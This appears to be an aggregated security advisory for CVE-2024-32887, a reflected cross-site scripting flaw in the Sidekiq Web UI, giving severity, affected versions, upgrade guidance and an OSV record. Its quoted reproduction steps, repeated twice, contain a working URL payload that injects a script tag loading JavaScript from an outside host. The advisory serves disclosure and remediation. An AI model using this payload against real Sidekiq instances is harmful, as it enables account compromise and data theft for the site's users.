CVE-2024-32887: Sidekiq Cross-Site Scripting Vulnerability

MODERATE
Advisory Identifier: GHSA-q655-3pj8-9fxq
CVSS 5.5
CWE-79
Published
Advisory Summary

CVE-2024-32887 is a MODERATE (CVSS 5.5) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Sidekiq libraries in the RubyGems ecosystem. The issue involves sidekiq vulnerable to a reflected xss in queues web page. Remediation is available by upgrading affected packages to version 7.2.4.

CVE-2024-32887 at a Glance

CVE Identifier CVE-2024-32887
GHSA Identifier GHSA-q655-3pj8-9fxq
Severity MODERATE
CVSS v3.1 Base Score 5.5
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product Sidekiq
Package Ecosystem RubyGems
Published Date
Last Updated

Security Impact

CVSS: 5.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability Low (A:L)

How to Fix CVE-2024-32887

To remediate this vulnerability, upgrade all affected Sidekiq dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

sidekiq fixed: 7.2.4
Upgrade sidekiq to 7.2.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for sidekiq

How to Check if You Are Affected

To determine whether your application is affected by CVE-2024-32887, inspect your project dependencies for Sidekiq:

inspect dependencies for sidekiq

Analyze the terminal output to locate any version of Sidekiq in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 7.2.4), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Sidekiq, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Description: During the source Code Review of the metrics.erb view of the Sidekiq Web UI, A reflected XSS vulnerability is discovered. The value of substr parameter is reflected in the response without any encoding, allowing an attacker to inject Javascript code into the response of the application. This vulnerability can be exploited to target the users of the application, and users of other applications deployed on the same domain or website as that of the Sidekiq website. Successful exploit results may result in compromise of user accounts and user data. ### Impact: The impact of this vulnerability can be severe. An attacker could exploit it to target users of the Sidekiq Web UI. Moreover, if other applications are deployed on the same domain or website as Sidekiq, users of those applications could also be affected, leading to a broader scope of compromise. Potentially compromising their accounts, forcing the users to perform sensitive actions, stealing sensitive data, performing CORS attacks, defacement of the web application, etc. ### Mitigation: Encode all output data before rendering it in the response to prevent XSS attacks. ### Steps to Reproduce: 1. Go to the following URL of the sidekiq Web UI: https://{host}/sidekiq/metrics?substr=beret%22%3E%3Cscript%20src=%22https://cheemahq.vercel.app/a.js%22%20/%3E 2. XSS payload will be executed, causing a popup. ### Evidence: ![image](https://github.com/sidekiq/sidekiq/assets/59286712/9b7efa06-60bc-4d72-bb37-c5949154827e) Figure 1: Source Code Vulnerable to XSS ![image](https://github.com/sidekiq/sidekiq/assets/59286712/7a801feb-d495-416e-8e0e-36dee0eadf85) Figure 2: XSS payload triggered

CVE-2024-32887 Affected Sidekiq Versions

1 component(s)
Fixed Versions:
7.2.4
Product / Package Ecosystem Affected Versions Fixed Version
sidekiq
RubyGems
≥ 7.2.0
< 7.2.4
7.2.4

References

Frequently Asked Questions

What is CVE-2024-32887?
CVE-2024-32887 is a security vulnerability in Sidekiq involving Sidekiq vulnerable to a Reflected XSS in Queues Web Page under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which Sidekiq versions are affected?
Affected versions include releases prior to 7.2.4 across affected packages: sidekiq.
What version fixes CVE-2024-32887?
Upgrading to 7.2.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is sidekiq affected?
Yes, sidekiq is affected in releases prior to 7.2.4. Upgrade your dependency to 7.2.4 or later.
What is the CVSS score of CVE-2024-32887?
CVE-2024-32887 has a CVSS v3.1 base score of 5.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L.
What CWE is associated with CVE-2024-32887?
CVE-2024-32887 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check RubyGems dependencies for CVE-2024-32887?
Run the dependency tree command: 'inspect dependencies for sidekiq'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-q655-3pj8-9fxq",
  "modified" : "2026-06-08T23:16:53Z",
  "published" : "2024-04-26T22:19:08Z",
  "aliases" : [ "CVE-2024-32887" ],
  "summary" : "Sidekiq vulnerable to a Reflected XSS in Queues Web Page",
  "details" : "### Description:\nDuring the source Code Review of the metrics.erb view of the Sidekiq Web UI, A reflected XSS vulnerability is discovered. The value of substr parameter is reflected in the response without any encoding, allowing an attacker to inject Javascript code into the response of the application. \n\nThis vulnerability can be exploited to target the users of the application, and users of other applications deployed on the same domain or website as that of the Sidekiq website. Successful exploit results may result in compromise of user accounts and user data.\n\n### Impact:\nThe impact of this vulnerability can be severe. An attacker could exploit it to target users of the Sidekiq Web UI. Moreover, if other applications are deployed on the same domain or website as Sidekiq, users of those applications could also be affected, leading to a broader scope of compromise. Potentially compromising their accounts, forcing the users to perform sensitive actions, stealing sensitive data, performing CORS attacks, defacement of the web application, etc.\n\n### Mitigation:\nEncode all output data before rendering it in the response to prevent XSS attacks.\n\n### Steps to Reproduce:\n1. Go to the following URL of the sidekiq Web UI: \nhttps://{host}/sidekiq/metrics?substr=beret%22%3E%3Cscript%20src=%22https://cheemahq.vercel.app/a.js%22%20/%3E\n2. XSS payload will be executed, causing a popup.\n\n### Evidence:\n\n![image](https://github.com/sidekiq/sidekiq/assets/59286712/9b7efa06-60bc-4d72-bb37-c5949154827e)\nFigure 1: Source Code Vulnerable to XSS\n\n![image](https://github.com/sidekiq/sidekiq/assets/59286712/7a801feb-d495-416e-8e0e-36dee0eadf85)\nFigure 2: XSS payload triggered",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "RubyGems",
      "name" : "sidekiq"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "7.2.0"
      }, {
        "fixed" : "7.2.4"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/sidekiq/sidekiq/security/advisories/GHSA-q655-3pj8-9fxq"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-32887"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/sidekiq/sidekiq/commit/30786e082c70349ab27ffa9eccc42fb0c696164d"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/sidekiq/CVE-2024-32887.yml"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/sidekiq/sidekiq"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/sidekiq/sidekiq/releases/tag/v7.2.4"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-04-26T22:19:08Z",
    "nvd_published_at" : "2024-04-26T21:15:49Z"
  }
}